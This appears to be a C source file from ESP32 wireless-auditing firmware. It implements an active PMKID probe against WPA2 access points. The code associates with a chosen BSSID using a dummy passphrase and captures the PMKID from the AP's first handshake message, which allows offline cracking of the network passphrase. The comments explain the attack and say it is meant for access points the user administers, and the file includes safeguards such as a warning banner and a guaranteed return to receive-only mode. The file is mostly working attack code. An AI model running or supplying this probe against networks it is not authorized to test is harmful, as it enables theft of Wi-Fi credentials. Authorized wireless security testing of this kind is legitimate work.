/*
 * wificap — the active PMKID probe.
 *
 * EVERYTHING ELSE IN THIS FIRMWARE ONLY RECEIVES. THIS FILE TRANSMITS.
 *
 * The PMKID attack, as published by Steube in 2018, works like this: the
 * PMKID is derived from the PMK, the two MAC addresses and a fixed string, so
 * it is a function of the passphrase and nothing else. An AP that supports
 * PMK caching volunteers it in message 1 of the four-way handshake -- the
 * AP's own first message, sent on association, before the supplicant has
 * proved anything. So you do not need a client, you do not need to wait for
 * somebody to reconnect, and you do not need the rest of the handshake. You
 * need one frame from the AP, and the AP will send it to anyone who asks.
 *
 * "Who asks" is the part that matters here. Asking means associating, and
 * associating means transmitting: an authentication request and an
 * association request, from this radio, addressed to that AP. That is a
 * different legal and ethical position from passive capture, and it is why
 * this is a separate file, a separate explicit command, never the default
 * mode, and why it announces itself on the screen while it runs.
 *
 * Point it at an access point you administer.
 *
 * SPDX-License-Identifier: MIT
 */

#include <string.h>

#include "esp_event.h"
#include "esp_log.h"
#include "esp_wifi.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"

#include "wcap.h"

static const char *TAG = "wcap.pmkid";

/*
 * Any passphrase at all. The PMKID in M1 is computed by the AP from the
 * network's real PMK; what we send never has to be right, because the
 * exchange is abandoned long before anything we supply is checked. Eight
 * characters only because that is the WPA2 minimum and a shorter one is
 * rejected locally by the supplicant before a single frame goes out.
 */
#define DUMMY_PSK "wificap0"

esp_err_t wcap_pmkid_probe(const uint8_t bssid[6], uint8_t channel,
                           const char *ssid, uint32_t wait_ms)
{
    if (!ssid || !ssid[0]) {
        ESP_LOGE(TAG, "need an SSID: the PMKID is salted with it, and an "
                      "association request without one goes nowhere");
        return ESP_ERR_INVALID_ARG;
    }

    ESP_LOGW(TAG, "ACTIVE PROBE: transmitting to %02x:%02x:%02x:%02x:%02x:%02x "
                  "(%s) on ch %u",
             bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5],
             ssid, channel);

    wcap_active_set(true);
    wcap_banner_set("ACTIVE: PMKID probe TX");

    esp_err_t err = ESP_OK;

    /*
     * Promiscuous receive stays on throughout. That is the whole trick: the
     * supplicant will handle (and then discard) M1 itself, but the
     * promiscuous callback sees the frame first and the existing EAPOL parser
     * lifts the PMKID out of it. Without this we would have to reach into the
     * supplicant, which exposes no PMKID at all.
     */
    if ((err = esp_wifi_set_mode(WIFI_MODE_STA)) != ESP_OK) {
        ESP_LOGE(TAG, "set_mode STA: %s", esp_err_to_name(err));
        goto done;
    }

    wifi_config_t cfg = { 0 };
    strlcpy((char *)cfg.sta.ssid, ssid, sizeof(cfg.sta.ssid));
    strlcpy((char *)cfg.sta.password, DUMMY_PSK, sizeof(cfg.sta.password));
    memcpy(cfg.sta.bssid, bssid, 6);
    cfg.sta.bssid_set = true;
    cfg.sta.channel = channel;
    /* Do not let the supplicant wander off looking for a better BSSID with
     * the same SSID; the target is this one radio. */
    cfg.sta.scan_method = WIFI_FAST_SCAN;
    cfg.sta.threshold.authmode = WIFI_AUTH_OPEN;

    if ((err = esp_wifi_set_config(WIFI_IF_STA, &cfg)) != ESP_OK) {
        ESP_LOGE(TAG, "set_config: %s", esp_err_to_name(err));
        goto restore;
    }

    /* Re-arm promiscuous capture: changing mode resets it. */
    wcap_capture_attach();

    if ((err = esp_wifi_connect()) != ESP_OK) {
        ESP_LOGE(TAG, "connect: %s", esp_err_to_name(err));
        goto restore;
    }

    /*
     * Wait for the parser to report a PMKID for this BSSID. The association
     * is expected to FAIL -- the passphrase is wrong -- and that failure is
     * not an error for our purposes, because M1 arrives before it.
     */
    const uint32_t deadline = wcap_tick_ms() + wait_ms;
    bool got = false;
    while (wcap_tick_ms() < deadline) {
        static wcap_hs_t hs[WCAP_MAX_HS];  /* console-task stack is small */
        const int n = wcap_hs_list(hs, WCAP_MAX_HS);
        for (int i = 0; i < n; i++) {
            if (hs[i].pmkid && memcmp(hs[i].ap, bssid, 6) == 0) {
                got = true;
                break;
            }
        }
        if (got) break;
        vTaskDelay(pdMS_TO_TICKS(100));
    }

    err = got ? ESP_OK : ESP_ERR_NOT_FOUND;
    if (!got) {
        /*
         * Not a bug, and worth saying precisely: an AP that does not do PMK
         * caching has no PMKID to offer and is simply not vulnerable to this.
         * WPA3-SAE does not use it either. The attack failing is a fact about
         * the target, not about the tool.
         */
        ESP_LOGW(TAG, "no PMKID: this AP may not offer PMK caching, "
                      "or is WPA3/SAE, or never answered");
    }

restore:
    /*
     * Back to receive-only, unconditionally, including on every error path.
     * A tool that can transmit must not be able to end up transmitting
     * because an error return was not checked somewhere.
     */
    esp_wifi_disconnect();
    esp_wifi_set_mode(WIFI_MODE_NULL);
    wcap_capture_attach();

done:
    wcap_active_set(false);
    if (err == ESP_OK) {
        wcap_banner_set("PMKID captured - passive again");
    } else if (err == ESP_ERR_NOT_FOUND) {
        wcap_banner_set("no PMKID offered - passive again");
    } else {
        wcap_banner_set("probe failed - passive again");
    }
    ESP_LOGI(TAG, "active probe finished, receive-only again");
    return err;
}
